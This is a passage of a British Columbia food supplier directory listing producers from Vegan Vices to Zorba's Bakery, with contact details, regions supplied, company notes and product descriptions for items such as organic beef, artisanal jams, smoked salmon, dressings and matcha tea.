**Address:**  
106 Dure Meadow Road  
Lumby, BC  
V0E 2G7

**Regions Supplied:**  
- Thompson/Okanagan  
- Kootenay  
- Vancouver/Mainland

### **Company Notes:**

We are a multi-generational family farm, and are proud to produce delicious, nutritious products for our community. We strive to maintain a wholistic balance with nature on our farm, protect wildlife and biodiversity, and encourage others to experience and learn about farming!

### **Products Available:**

#### Grass-fed Certified Organic Beef - Year Round

A large variety of cuts available, sold frozen to ensure year-round supply. Bulk and specialty orders available in the fall. Hormone free, antibiotic free, no animal by-products fed, and SPCA certified to guarantee humane treatment.

#### Certified Organic Garlic - Summer

Yugoslavian Racombole variety. Hand weeded and picked. Available July and August.

#### Pasture-Raised, Grass-Fed Lamb - Fall, Winter,

Grass-fed, Chemical Free Lamb Availability: Fall to Spring Pasture-raised, grass-fed lamb. Bulk orders available in the fall and frozen individual cuts available from late fall to spring. Free from synthetic hormones, antibiotics, and no animal by-products fed.

#### Organically-Raised, Pastured Pork -

Certified organically-raised on Big Bear ranch in Horsefly, BC, this delicious free-range pork is available in frozen, individual cuts. No animal by-products fed, no hormones or antibiotics. Seasonal availability.

#### Certified Organic Sea Buckthorn Berries & Nectar - Fall, Summer

Delicious, tart, and bright orange, these berries and the juice we make from them are available in August and September. High in Vitamin C, minerals, antioxidants and countless other vitamins!

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## Vegan Vices - 778-888-3426

**Contact:** Alan Munro

**Toll Free:** Unavailable

**Phone:** 778-888-3426

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [info@veganvices.com](mailto:info@veganvices.com)

**Website:** [www.veganvices.com](http://www.veganvices.com)

**Address:**

14-7621 Vantage Way

Delta, BC

V4G 1A6

**Regions Supplied:**

- Vancouver/Mainland

**Company Notes:**

Chi (pronounced "chee") Cake is a sinlessly delicious, authentic-tasting alternative to high-fat, dairy-based cheesecake. Gluten free and made fresh locally with organic ingredients, Chi Cake gives you all the satisfying flavour of cheesecake, without any cholesterol, lactose or trans fats.

Half the fat of cheesecake!

**Products Available:**

Chi Cake - Year Round

Chi Cake, a vegan, gluten free alternative to high-fat, dairy cheesecake. Available in 6" frozen retail box, lemon New York flavour or in 8" foodservice size.

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## Village Cheese Co. - 250-308-2516

**Contact:** Dwight Johnson  
**Toll Free:** Unavailable  
**Phone:** 250-308-2516  
**Cell:** Unavailable  
**Fax:** 250-546-8659  
**Email:** [vcheese@villagecheese.com](mailto:vcheese@villagecheese.com)  
**Website:** [www.villagecheese.com](http://www.villagecheese.com)

**Address:**  
3475 Smith Drive  
Armstrong, BC  
V0E 1B1

**Regions Supplied:** All of BC

### Company Notes:

The Village Cheese Company is a micro cheese plant based on the estate winery concept. Our old fashion good times atmosphere will return you to a time when life was relaxed and fun. A time when delicious cheese was as close as your local dairy.

### Products Available:

#### Cheddar Cheeses - Year Round

A wide range of select Cheddar Cheeses, from Curds to Raw Milk, Mild - Extra Old. Please visit our website for ordering information.

#### Flavour Cheddar Cheeses - Year Round

Smoked Wild Salmon, Cointreau Cheddar, Canadian Maple, Westwold (Onion & Chives) ,Garlic Cheddar, Red Hot Pepper Cheese, Original Pacific Salmon Cheddar™, Original Smokehouse Cheddar™, Wine Cured (Merlot) Cheddar, and Village Garden Dill Cheddar. Please visit our website for ordering information

#### Swiss Cheese - Year Round

Creamed Harvarti Cheese. Please visit our website for ordering information.

#### Monterey Cheeses - Year Round

Monterey Lemon Twist , Monterey Habanero -Very Hot with Habanero Peppar, Monterey Jack, Jalapeno Monterey,Peppery Jack Monterey, Hot HorseradishMediterranean Monterey-Sun Dried Tomato & Basil Cheese. Please visit our website for ordering information.

#### Parmesan Cheese - Year Round

Delectable Parmesan Cheese. Please visit our website for ordering information.

#### Butter Cheeses -

Konig Strasse Butter Cheese, Konig Strasse Butter Cheese, Amber Ale Beer-Ripened Soft Cheese. Please visit our website for ordering information.

#### Edam & Gouda Cheeses -

Village Edam Cheese, Village Gouda Cheese, Village Smoked Gouda. Please visit our website for ordering information.

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## Vista D'oro Farms - 604-514-3539

**Contact:** Lee Murphy

**Toll Free:** Unavailable

**Phone:** 604-514-3539

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [info@vistadoro.com](mailto:info@vistadoro.com)

**Website:** [www.vistadoro.com](http://www.vistadoro.com)

### **Address:**

20856 4th Avenue

Langley, BC

V2Z 1T6

### **Regions Supplied:**

- Thompson/Okanagan
- Vancouver/Mainland
- Vancouver Island & Gulf Islands

### **Company Notes:**

Vista D'oro Farms offers artisanal jams using traditional cooking methods combined with distinctive flavour pairings. Our jams are produced in small batches using copper pots and in-season fruits, much of which is grown naturally on our 10-acre farm in South Langley. Our jams are made to be enjoyed with fresh baked scones, hot buttered toast, pancakes and crepes. Some of the jams are also wonderful with cheeses and as an accompaniment with pork or fowl, as well as straight out of the jar! We have created 5 flavours for each season; available in 100 ml, 200 ml & 290 ml.

### **Products Available:**

Turkish Fig with Walnut Wine Jam - Winter,

A delicious combination using walnut wine produced on our farm. Excellent with pork tenderloin, crackers & blue cheese or buttermilk scones.

Pink Grapefruit with Champagne Jam - Winter,

A fabulous, pretty pink treat for Sunday brunch or afternoon high tea.

Orange Cardamom & Brandy Jam - Winter,

A warm blend of citrus and spice, perfect for crepes and a lovely treat with duck.

Citrus & Candied Ginger Jam - Year Round

An Asian-inspired marmalade, heavenly over vanilla pound cake or simply on buttered toast.

Kumquat with Vanilla Vodka Jam - Winter,

No, this is not a martini! But you'll want to eat it by the spoonful or spooned over French Vanilla ice cream.

Rhubarb & Vanilla Jam - Spring,

A lovely pairing, wonderful with ice cream, scones or pound cake.

Strawberry & Grand Marnier Jam - Spring,

A classic combination, perfect for Sunday brunch or afternoon high tea or straight out of the jar! Available seasonally.

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Strawberry with Balsamic & Pink Peppercorns Jam - Spring,

An elegant pairing for soft goat cheese or use in a vinaigrette over wild greens. Available seasonally.

Blueberry & Bourbon Jam - Spring,

Delicious over vanilla ice cream and perfect for a "morning after" breakfast! Available seasonally.

Black Cherry & Pinot Noir Jam - Spring,

Wonderful with a savoury cheese scone or alongside grilled duck. Available seasonally.

Plum with Vanilla & Star Anise Jam - Summer

Excellent on buttered toast or with grilled chicken.

Raspberry & Merlot w/ Peppercorns Jam - Summer

Great with strong cheese or to finish a rich chocolate dessert with something special.

Wild Blackberry Jam - Summer

Nothing but blackberries and sugar - why mess with perfection?! Spoon into tart shells for a simple dessert.

Peach & Lemon Verbena with Champagne Jam - Summer

A flavourful combination: elegant enough for the fanciest tea parties, simple served alongside lemon pound cake.

Peach & Blackberry Duo with Cassis Jam - Summer

Serve over homemade peach ice cream for the ultimate summer dessert! Available seasonally.

Caramel Apple with Dark Rum Jam - Summer

A lovely complement to pork tenderloin or warm up and serve over ice cream.

Spiced Apple & Gewurztraminer Jam - Fall,

Perfect for your turkey dinner! Just the right amount of spice and sweetness.

Pear & Pinot Noir Jam - Fall,

Excellent with creamy camembert and crackers.

Pear & Vanilla Jam - Fall,

One of my first and favourites! Lovely on crepes or on simple white toast with lots of butter!

Green Tomato with Garam Masala Jam - Fall,

Use as a sweet condiment with spicy foods, such as samosas, or with scallops or goat cheese.

## Vitalus Nutrition Inc. - 604-857-9080

**Contact:** Mark Maylath

**Toll Free:** Unavailable

**Phone:** 604-857-9080

**Cell:** Unavailable

**Fax:** 604-857-1651

**Email:** [information@vitalus.com](mailto:information@vitalus.com)

**Website:** [www.vitalus.com](http://www.vitalus.com)

**Address:**

3911 Mt. Lehman Road

Abbotsford, BC

V2T 5W5

**Regions Supplied:** All of BC

**Company Notes:**

Vitalus is a leading global supplier of customized food and nutritional ingredients for the food processing industry. Food manufacturers are demanding more from the ingredients they use: healthier and more nutritious, easier to incorporate into existing formulations, with a unique identity to provide the springboard for cutting-edge finished products.

Vitalus partners with customers to meet their requirements for new products, new formulations and new ingredients that contribute to healthier living and innovative product development. Vitalus supplies "nutrifunctional" products to the industry; products that provide nutritional and/or functional benefits to ensure that our customers can create value-added finished products with cost-effective ingredients of the highest quality. Vitalus attracts only the most dedicated, highly skilled, and experienced employees to work in our state-of-the-art manufacturing facilities. The Vitalus team provides superior customer service and technical support to clients around the world.

**Products Available:**

**MPC 85 - Year Round**

Milk Protein Concentrates and Milk Protein Isolates (MPCâ€™s and MPIâ€™s) are proteins derived from liquid skim milk that has been concentrated to the desired protein levels, followed by a spray drying process. We have also developed low lactose MPCâ€™s and heat-stable MPCâ€™s available upon request.

**MPC 80 - Year Round**

Milk Protein Concentrates and Milk Protein Isolates (MPCâ€™s and MPIâ€™s) are proteins derived from liquid skim milk that has been concentrated to the desired protein levels, followed by a spray drying process. We have also developed low lactose MPCâ€™s and heat-stable MPCâ€™s available upon request.

**MPC 70 - Year Round**

Milk Protein Concentrates and Milk Protein Isolates (MPCâ€™s and MPIâ€™s) are proteins derived from liquid skim milk that has been concentrated to the desired protein levels, followed by a spray drying process. We have also developed low lactose MPCâ€™s and heat-stable MPCâ€™s available upon request.

**Pasteurized Cream 40 - Year Round**

Our cream products are made from 100% fresh whole milk using a centrifugal separation process. We only source our milk from Canadian farms, most of them local, where the use of antibiotics in cows is strictly monitored. Milk is tested both at the farms and at the dairy processing plants to ensure it is free from antibiotic residues before use in our manufacturing plant. Both pasteurized cream and whipping cream are free of GMOâ€™s and Kosher certified.

**Whipping Cream 36 - Year Round**



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Our cream products are made from 100% fresh whole milk using a centrifugal separation process. We only source our milk from Canadian farms, most of them local, where the use of antibiotics in cows is strictly monitored. Milk is tested both at the farms and at the dairy processing plants to ensure it is free from antibiotic residues before use in our manufacturing plant. Both pasteurized cream and whipping cream are free of GMOs and Kosher certified.

#### VITAGOS - Year Round

VITAGOS is a syrup rich in galacto-oligosaccharides (GOS) that has an exceptional clean taste and smooth mouth feel. GOS is reviewed and permitted as a dietary fibre by Health Canada Food Directorate and allowed to be used in all unstandardized food products as a source of dietary fibre in Canada.

#### MPI 90 - Year Round

Milk Protein Concentrates and Milk Protein Isolates (MPCs and MPIs) are proteins derived from liquid skim milk that has been concentrated to the desired protein levels, followed by a spray drying process. We have also developed low lactose MPCs and heat-stable MPCs available upon request.

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## Walcan Seafood Ltd. - 250 285 3361

**Contact:** Donna Hogarth

**Toll Free:** Unavailable

**Phone:** 250 285 3361

**Cell:** Unavailable

**Fax:** 604 608 4911

**Email:** [c.johnson@walcan.com](mailto:c.johnson@walcan.com)

**Website:** [www.walcan.com](http://www.walcan.com)

### **Address:**

Box 429

Heriot Bay, BC

V0P 1H0

### **Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

### **Company Notes:**

Since 1990 Walcan has been turning smoked salmon into thermally processed fillets in a gold foil pouch. Our thermal (retort) processes are registered with the FDA and CFIA. We have recently passed with flying colours an audit with CFIA.

Walcan is very interested in creating business relationships with the food service industry. Retorting is not done precisely 12 months of the year, and obviously all salmons are not available 12 months of the year, but we will try to be flexible and accomodating.

### **Products Available:**

#### Walcan Brand Canned Sockeye Salmon - Year Round

Hand packed from high oil content sockeye salmon. We strive to have the best canned sockeyesalmon in the world; occasionally selling out before the end of the summer.

#### Walcan Smoked Wild Sockeye or Smoked Wild - Year Round

Gold foil retort pouch Smoked Wild Sockeye or Smoked Wild Pink Salmon - We strive to use the highest oil content salmon. Ingredients: Wild Sockeye or Wild Pink Salmon, Sea Salt and natural wood smoke. Sizes range from 60 grams to 454 grams. Occasionally 227 gram Sugar Smoked Sockeye pouches available. Kosher and shelf stable - norefrigeration required.

#### Walcan Smoked Farm King Salmon - Year Round

Gold foil retort pouch Smoked Farm King Salmon - A very consistent and good oil content product. Ingredients: Farm King Salmon, Sea Salt and natural wood smoke. Sizes range from 113 grams to 454 grams. 60 gram sugar kings available. Kosher and shelf stable - no refrigeration required.

#### Wild Maple Wild Smoked Pink Salmon - Year Round

Gold foil retort pouch Maple Wild Smoked Pink Salmon - children love it! Ingredients: Pink Salmon, Organic Canadian Maple Syrup, Sugar, Sea Salt and natural wood smoke. 100 gram size avaialbe. Kosher and shelf stable - no refrigeration required.

#### Walcan Ice Wine Wild Smoked Pink Salmon - Year Round

Gold foil retort pouch Ice Wine Wild Smoked Pink Salmon - Ingredients: Pink Salmon, Sugar, Okanagan Ice Wine, Sea Salt and natural wood smoke. 100 gram size avaialbe. NOT KOSHER and shelf stable - norefrigeration required.

#### Walcan Candied Wild Smoked Pink Salmon - Year Round

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Gold foil retort pouch Candied Wild Smoked Pink Salmon - Ingredients: upon request - 227 gram available.  
Occasionally this product is available in other sizes and with the use of Wild Chums. NOT KOSHER and shelf stable -  
no refrigeration required.

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## Whistler Cooks Fine Foods - 604-938-8835

**Contact:** Hilarie Cousar

**Toll Free:** Unavailable

**Phone:** 604-938-8835

**Cell:** Unavailable

**Fax:** 604-938-8814

**Email:** [hilarie@whilstercooks.com](mailto:hilarie@whilstercooks.com)

**Website:** [www.whilstercooks.com](http://www.whilstercooks.com)

**Address:**

Whistler, BC

V0N 1B1

**Regions Supplied:**

- Vancouver/Mainland

**Company Notes:**

Chef Grant Couser creates a unique line of fresh dressings and sauces. Whenever possible he uses locally grown fruits and herbs to prepare these delicious recipes. Professionally, Grant has cooked in many restaurants from award winning fine dining to casual high volume. Grant studied at renowned Dubrulle Culinary School in Vancouver, BC. He and his wife Hilarie now own and operate Whistler Cooks Catering Company, Whistler's premier catering company. Grant enjoys his role with the Whistler Farmers Market as a vendor and director for five years, currently serving as President. This role has fostered a more informed approach to food and our customer with the best products we can provide. Grant and Hilarie, with their love of life in the mountains, are the spirit behind our food that has grown to encompass the local ingredients in the refinements of a French classical background mixed with the Pacific Rim's Asian and Northwest flavours. All of our recipes are prepared in our commercial kitchen. Extreme care is taken to prepare our recipes in a low risk manner. We do prepare fresh sauces and as such these products do require refrigeration or chilling. We are an approved facility by the Coast Garibaldi Health Unit and all staff have extensive training and in particular food safe training. All products labels contain ingredients, handling instructions and a best before date.

**Products Available:**

**Balsamic Blackberry Vinaigrette - Year Round**

Net quantity 250 ml; always keep refrigerated. Ingredients include brown sugar, white wine & balsamic vinegar, onions, canola oil, Dijon mustard, salt and pepper.

**Basil Pesto Vinaigrette - Year Round**

Net quantity 250 ml; always keep refrigerated. Ingredients include basil, onion, garlic, pine nuts, olive & canola oil, white wine vinegar, Dijon mustard, salt & pepper.

**Mint Dijon Tappenade Sauce - Year Round**

Net quantity 250 ml; always keep refrigerated. Ingredients include mint, Dijon mustard, olives, garlic, onions, olive & canola oil, white wine vinegar, salt and pepper.

**Candied Ginger Sesame Vinaigrette - Year Round**

Net quantity 250 ml; always keep refrigerated. Ingredients include ginger, canola oil, onions, white wine vinegar, sugar, mustard, sesame oil, salt and pepper.

**Miso Hone Cilantro Sauce - Year Round**

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Net quantity 250 ml; always keep refrigerated. Ingredients include Miso paste, honey, cilantro, white wine vinegar, canola oil, onion, Dijon mustard, salt and pepper.

#### Oven Dried Cherry Vinaigrette - Year Round

Net quantity 250 ml; always keep refrigerated. Ingredients include cherries, canola oil, onions, Dijon mustard, vinegar, brown sugar, salt and pepper.

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## Whole Hog Farms - 250.468.9928

**Contact:** James & Angeline Street

**Toll Free:** Unavailable

**Phone:** 250.468.9928

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [info@wholehogfarm.ca](mailto:info@wholehogfarm.ca)

**Website:** [www.wholehogfarm.ca](http://www.wholehogfarm.ca)

### **Address:**

1558 The Bell

Nanoose, BC

V9P 9B6

### **Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

### **Company Notes:**

We have been making the finest sausages in the region since 2008. Thousands of pounds of fantastic sausages, over two hundred flavours created and everyone loves them.

We use quality meat from choice Vancouver Island Producers. We are too large to grow all the animals ourselves and still focus on the quality of the sausages so we partner with ethical and sustainable producers that do a great job of providing safe, nutritious meat. Sometimes, being small is great – we can be picky when it comes to meat!

### **Products Available:**

Soup Mixes, Sauces, and Blends - Fall,Summer

WHOLESALE AND RETAIL OF MANY BC PRODUCTS; PRESERVES SAUCES MEAT PRODUCTS MIXES AND SPICE BLENDS SOUPS COFFEE. Available Seasonally

Produce - Year Round

WHOLESALE AND RETAIL OF LOCAL SPRAY FREE AND ORGANIC PRODUCE ANY QUANTITIES - LARGE AND SMALL

Sausages - Year Round

SAUSAGES PORK, CHICKEN, BEEF, LAMB, RABBIT, PHEASANT, DUCK ARTISANAL SAUSAGES WITH NO ADDITIVES, PRESERVATIVES OR BINDING AGENTS. OLD WORLD STYLE IN NATURAL CASINGS NO PREMIX SEASONINGS ALL RECIPES ARE OUR OWN FRESH HERBS AND SINGLE ORIGIN SPICES PREMIUM PRODUCT WITH UNIQUE FLAVOURS SUCH AS DUCK AND CRAB APPLE LAMB AND TANGERINE CHICKEN CORDON BLUE ( WITH HAM AND CHEESE) PORK, BACON AND BRAISED LEEK

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## Wild Side Foods - 604-931-7530

**Contact:** Jack McGuire

**Toll Free:** Unavailable

**Phone:** 604-931-7530

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [mcguirejd@telus.net](mailto:mcguirejd@telus.net)

**Website:** Unavailable

**Address:**

1015 Quadling Ave.

Coquitlam, BC

V3K 2A9

**Regions Supplied:**

- Vancouver/Mainland

**Company Notes:**

Wild Side Foods produces high-quality smoked salmon by using quality fish and ingredients in all our products. We use only wild Pacific salmon and strict quality controls. All fish is selected for the highest quality and prepared and produced in a federally-certified fish processing facility. Small batches and careful monitoring of all ingredients ensure moist, evenly smoked fish where the taste of the sea is preserved.

**Products Available:**

**BC Smoked Salmon (traditional style) - Year Round**

Hot-smoked, ocean-run chum salmon, using alder wood smoke, vacuum packed and frozen in portions weighing approximately 1/2 lb each. Moist and flavourful, without a real salty taste. Best in spreads or cooking.

**Candy Style Smoke Salmon - Chum -**

Sweetened and smoked, ocean-run chum salmon, using alder wood smoke, vacuum packed and frozen in portions weighing approximately 1/2 lb each. Strips of sweetly smoked salmon; great trail food.

**Lox Smoked Salmon - Year Round**

Triple cold-smoked, ocean-run chum salmon, using alder wood smoke, vacuum packed and frozen in portions weighing approximately 1/2 lb each. Melt in your mouth, with ample smoke and cure. Best with cream cheese on a bagel.

**Candy Style Smoked Salmon - Sockeye - Year Round**

Sweetened and smoked, ocean run, sockeye salmon, using alder wood smoke, vacuum packed and frozen in portions weighing approximately 1/2 lb. each. Strips of sweetly smoked salmon, used as finger food or in salads.

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## Wineland Dressings - 250-496-5345

**Contact:** Peter Young  
**Toll Free:** Unavailable  
**Phone:** 250-496-5345  
**Cell:** Unavailable  
**Fax:** Unavailable  
**Email:** [pdsy@shaw.ca](mailto:pdsy@shaw.ca)  
**Website:** [www.wineland.ca](http://www.wineland.ca)

### Address:

PO Box 196  
Naramata, BC  
V0H 1N0

### Regions Supplied:

- Peace
- Bulkley/Natchako
- Cariboo
- Thompson/Okanagan

### Company Notes:

Wineland Dressings was founded in 2000 by Peter and Valencia Young, when Peter, who was Executive Chef at Hillside Estate Winery in Penticton, was being constantly asked by restaurant clientele if they could buy the salad dressings served in the Barrel Room Bistro. Its location at a winery meant there was easy access to bottles, corks, labels, etc. There is also a tasting room and wine shop, a natural outlet for products. A small trial batch of Roast Garlic Balsamic Vinaigrette was produced and bottled, which very quickly sold out. Wineland Dressings was born, and we soon added the Raspberry and Black Pepper Vinaigrette. Our salad dressings are hand made in small batches from the finest available ingredients, locally-sourced where possible, and to the highest standards. All of our products are gluten free and contain no artificial thickeners, stabilizers or preservatives.

### Products Available:

#### Roast Garlic Balsamic Vinaigrette - Year Round

The nutty mellowness of roasted garlic with the sharp acidity of Balsamic Vinegar make this a highly versatile dressing. Great on salads but also as a marinade for all sorts of meats, seafood and vegetables, as a party dip, or on pasta, rice or potatoes. Produced in small batches to my original recipe. Gluten free and suitable for diabetics. Available in 375ml bottles 12 to a case, or food service 4 litre jug.

#### Raspberry & Black Pepper Vinaigrette - Year Round

Great with Spinach Salad, Mixed Greens, Seafood Salads. Very different from most commercially available Raspberry Dressings because it is not sweet. Produced from Fraser Valley raspberries in small batches to my original recipe. Gluten Free and suitable for diabetics. Available in 375ml bottles 12 to a case or food service 4 litre jug.

#### Cilantro & Lime Vinaigrette - Year Round

A refreshing zingy vinaigrette for salads, an excellent marinade for chicken, seafood or pork and delightful with steamed fresh vegetables such as asparagus, green beans or carrots. Made with fresh locally grown Cilantro in small batches to my original recipe. Gluten Free and suitable for diabetics. Available in 375ml bottles 12 to a case or food service 4 litre jug.

#### Blueberry Vinaigrette - Year Round



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The antioxidant properties of blueberries with lemon juice and white wine vinegar make this dressing a delight for summer salads of spinach or mesclun greens. Also nice with composed salads like Fennel and Orange. Made with Fraser Valley Blueberries in small batches to my own original recipe. Gluten Free and suitable for diabetics. Available in 375ml bottles 12 to a case or food service 4litre jug

#### Cherry Chutney - Year Round

Made from Okanagan Cherries with roasted garlic and fresh shallots, this medium spicy chutney is great with curries & samosas and a fabulous condiment with rich meats such as duck, lamb, venison or turkey. Available in 275ml jars 12 to a case.

#### Peach Chutney - Year Round

Made from Okanagan Peaches. Great with Chicken, Seafood or Pork. Moderately spicy it goes well with curries and samosas a nice change from the usual mango. Also really nice with cheese, try it on a baked brie. available in 275ml jars 12 to a case.

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## Wise Bites - 604-273-0242

**Contact:** Cathline James

**Toll Free:** Unavailable

**Phone:** 604-273-0242

**Cell:** Unavailable

**Fax:** 604-273-0245

**Email:** [cjames@wise-bites.com](mailto:cjames@wise-bites.com)

**Website:** [www.wise-bites.com](http://www.wise-bites.com)

**Address:**

Richmond, BC

V6X 3Z3

**Regions Supplied:** All of BC

**Company Notes:**

Heathly Baked goods free of the TOP 11 allergens, made in a dedicated factory that is also free of the TOP 11 allergens. Each ingredient is carefully selected and scrutinized prior to it being allowed in our factory. We are also Kosher.

**Products Available:**

Quinoa Triple Fudge Cookies and Bars - Year Round

Quinoa Triple Fudge Cookies and Bars, delicious and nutritious , full of protein, fibre and iron and FREE of the TOP 11 Allergens.

Quinoa Ginger Cookies and Bars - Year Round

Quinoa Ginger Cookies and Bars,delicious and nutritious full of protein, fibre and iron and FREE of the TOP 11 Allergens.

Quinoa Chocolate Chip Cookies and Bars - Year Round

Quinoa Chocolate Chip Cookies and Bars delicious and nutritious full of protein, fibre and iron and FREE of the TOP 11 Allergens.

Quinoa Blueberry Lemon Muffins - Year Round

Quinoa Blueberry Lemon Muffins, delicious and nutritious full of protein, fibre and iron and FREE of the TOP 11 Allergens.

Quinoa Apricot Muffins - Year Round

Quinoa Apricot muffins, delicious and nutritious full of protein, fibre and iron and FREE of the TOP 11 Allergens.

Quinoa Chocolate Chip Muffins - Year Round

Quinoa Chocolate Chip Muffins, delicious and nutritious full of protein, fibre and iron and FREE of the TOP 11 Allergens.

Quinoa Cranberry Orange Muffins - Year Round

Quinoa Cranberry Orange Muffins, delicious and nutritious full of protein, fibre and iron and FREE of the TOP 11 Allergens.

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## Wolfgang's Grain and Flour - 250-838-5910

**Contact:** Pat Holman

**Toll Free:** Unavailable

**Phone:** 250-838-5910

**Cell:** Unavailable

**Fax:** 250-838-6302

**Email:** [pat@wolfgangsgrainandflour.ca](mailto:pat@wolfgangsgrainandflour.ca)

**Website:** [www.wolfgangsgrainandflour.ca](http://www.wolfgangsgrainandflour.ca)

**Address:**

591 Enderby Grindrod Road

Enderby, BC

V0E 1V4

**Regions Supplied:**

- Thompson/Okanagan

**Company Notes:**

Custom fresh stone grinding of flours. Custom fresh stone grinding of flours available as well.

**Products Available:**

Whole Wheat Flour - Year Round

Fresh Stone ground whole wheat flour 1 kg, 10 kg and 20 kg.

Whole Spelt Flour - Year Round

Fresh Stone ground whole Spelt flour 1 kg, 10 kg and 20 kg.

Whole Rye Flour - Year Round

Fresh stone ground whole rye flour 1 kg, 10 kg and 20 kg.

Kamut Flour - Year Round

Fresh stone ground whole Kamut flour 1 kg, 10 kg and 20 kg.

Rolled Oats - Year Round

Fresh rolled oats 1 kg, 10 kg and 20 kg.

Golden Flax Seeds - Year Round

Golden Flax Seeds available in 1 kg bags.

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## Wrights'a Apiary LTD - 250-800-1445

**Contact:** Daria Wright

**Toll Free:** Unavailable

**Phone:** 250-800-1445

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [wrightsapiary@gmail.com](mailto:wrightsapiary@gmail.com)

**Website:** [www.fireweedhoney.net](http://www.fireweedhoney.net)

**Address:**

PO Box 654

Terrace, BC

V8G 4B8

**Regions Supplied:**

- Bulkley/Natchako

**Company Notes:**

Fireweed Honey can be considered a champagne of monofloral honey. Think about the essence of fireweed and the anti-inflammatory and calming effect on your skin and body. We produce prime Fireweed Honey in beautiful pristine mountains of Terrace, BC. 100% natural, free of pesticides.

**Products Available:**

Comb Honey - Fall,Summer

No description available

Fireweed Honey Body Butter - Year Round

No description available

Fireweed Honey Lip Balm - Year Round

No description available

Fireweed Honey - Year Round

No description available

Mountain Wild Flower Honey - Year Round

No description available

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## Zara's Pasta Production, Ltd - 604-554-0111

**Contact:** John Zara

**Toll Free:** Unavailable

**Phone:** 604-554-0111

**Cell:** Unavailable

**Fax:** 604-554-0112

**Email:** [admin@zarapasta.com](mailto:admin@zarapasta.com)

**Website:** [www.zarapasta.com](http://www.zarapasta.com)

**Address:**

Port Coquitlam , BC

V3C 2M8

**Regions Supplied:**

- Thompson/Okanagan
- Vancouver/Mainland
- Vancouver Island & Gulf Islands

**Company Notes:**

ZARA"s PASTA PRODUCTION is Metro Vancouver, BC, Canada based Pasta Factory providing whole sales of Italian fresh, filled pasta, three kinds of GLUTEN-Free Ravioli and ready-to-serve pasta sauces.

We pack our pasta and sauces in different forms for your convenience

**Products Available:**

Filled Italian style fresh pasta - Year Round

Filled Italian style fresh pasta (5 kg in box), unique recipes: ravioli, tortellini, sachetti, cannelloni.

Filled and flat Italian style fresh pasta - Year Round

Filled and flat Italian style fresh pasta in MAP trays (12 trays, 4.2 kg in box), unique recipes: ravioli, tortellini, sachetti, cannelloni, linguini, fettuccini, lasagna.

Gluten Free Ravioli - Year Round

Gluten Free Ravioli available in 3 varieties: 1) Goat Cheese Green Peas 2) Lactose-Free Butternut Squash 3) 4 Cheese.

## Zen Organics Inc. - 778-883-1050

**Contact:** Julie Aubin

**Toll Free:** Unavailable

**Phone:** 778-883-1050

**Cell:** Unavailable

**Fax:** 604 879-1050

**Email:** [info@zenorganics.ca](mailto:info@zenorganics.ca)

**Website:** [www.zenorganics.ca](http://www.zenorganics.ca)

### **Address:**

26-234 East 15th Avenue

Vancouver, BC

V5T 2P9

### **Regions Supplied:**

- Thompson/Okanagan

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

### **Company Notes:**

Zen Organics is committed to the attainment of total body health and physical well being through quality products made from pure back to basics pure ingredients, made with the finest grade organic Japanese Matcha Green Tea.

In addition, our authentic Japanese organic Matcha green tea is filled with unsurpassed amounts of amino acid, catechins, l-theanine, and chlorophyll which give our organic Matcha its brilliant jade color and exquisite taste. At zen organics, we strive each and every day to bring you value, variety and most importantly overall quality in all the products we offer.

### **Products Available:**

#### Matcha premium Green Tea- 2nd Harvest - Year Round

Zenorganics ceremonial grade second harvest organic Matcha is grown using the same strict standards as our premium ceremonial grades using no chemicals or pesticides. Our second harvest is also harvested like our first harvest where only new leaves are picked. After the first harvest the tencha plants are again deprived of sunlight makes the leaves thinner, more tender, and produces a fresher, deep green color. Organic second harvest is the perfect choice for delicious Matcha lattes or your favourite Matcha smoothies. 100 grams of second harvest makes about 95 servings.

#### Organic Matcha Lemonade - Year Round

Nothing says pleasure quite like a tall cold glass of our mouth-watering fresh organic Matcha lemonade. Every bag of our lemonade contains 28 grams of brilliant jade green organic Matcha goodness, and tons of freshly ground whole fruit flavors. Ingredients: Organic sugar cane, Zen organics organic Matcha tea, organic whole fruit lemon powder, citric acid 500g per Bag

#### Organic Matcha Cocoa - Year Round

Zen Organics has been created this gourmet infusion of premium dark chocolate from the Caribbean and high quality second harvests Matcha tea from Japan to provide you with an unforgettable, sensual taste experience. Our chocolate powder is fair trade, 100% vegan, alkaline, and unsweetened. Hot chocolate has never tasted so healthy. Ingredients: Fair Trade 100% Organic unsweetened dark cocoa powder, Organic Matcha. 110g per can. 17 – 18 servings based on 1 one tablespoon.

#### Organic Matcha Chai Tea - Year Round

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Made in beautiful British Columbia, our special chai combines a unique blend of imported aromatic chai spices with high quality premium organic Japanese matcha. Blended together these ingredients create our refreshing, organic matcha chai. It is through adherence to strict quality control that the full flavour and aroma of our exquisite Matcha chai emerges. This handcrafted organic matcha chai contains no artificial sweeteners, flavour additives or preservatives. Directions: Hot, add one heaping spoon of mix to 8-16 ounces of steamed or heated milk. Mix vigorously until dissolved, add sweetener (if desired) and serve. Cold, add one heaping spoon of mix to 8-16 ounces of cold milk. Add ice, blend on high for one minute, add sweetener (if desired) and serve. For dairy free chai, add one heaping spoon of chai mix to 8-16 ounces of hot water. Follow above directions. Swish your cup or glass occasionally while drinking, as the organic spices tend to settle. Ingredients: Organic premium ceremonial matcha powder locally organic chai spices (cinnamon, fennel, licorice, ginger, cardamom, nutmeg, cloves, vanilla bean, and star anise). 150g per bag

#### Zenorganics X-Green Premium Green Tea - Year Round

Zenorganics X-Green Premium ceremonial organic Matcha Green Tea is one of the highest quality organic Matcha green tea exported out of mountainous regions of Aichi prefecture Nishio. Made of the finest tencha leaves, our brilliant jade green Matcha has a finer texture and boost unsurpassed levels of antioxidants, L-Theanine and chlorophyll

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## Zorba's Bakery and Foods Ltd. - 604-439-7731

**Contact:** Susan Dendis  
**Toll Free:** Unavailable  
**Phone:** 604-439-7731  
**Cell:** Unavailable  
**Fax:** 604-439-0525  
**Email:** [zorbasfoods@shaw.ca](mailto:zorbasfoods@shaw.ca)  
**Website:** zorbasfoods.com

**Address:**  
7173 Buller Avenue  
Burnaby, BC  
V5J 4S1

**Regions Supplied:** All of BC

### Company Notes:

Authentic Greek recipes, local ingredients and handmade products such as the phyllo pastries.  
Producing these products in BC since 1985.

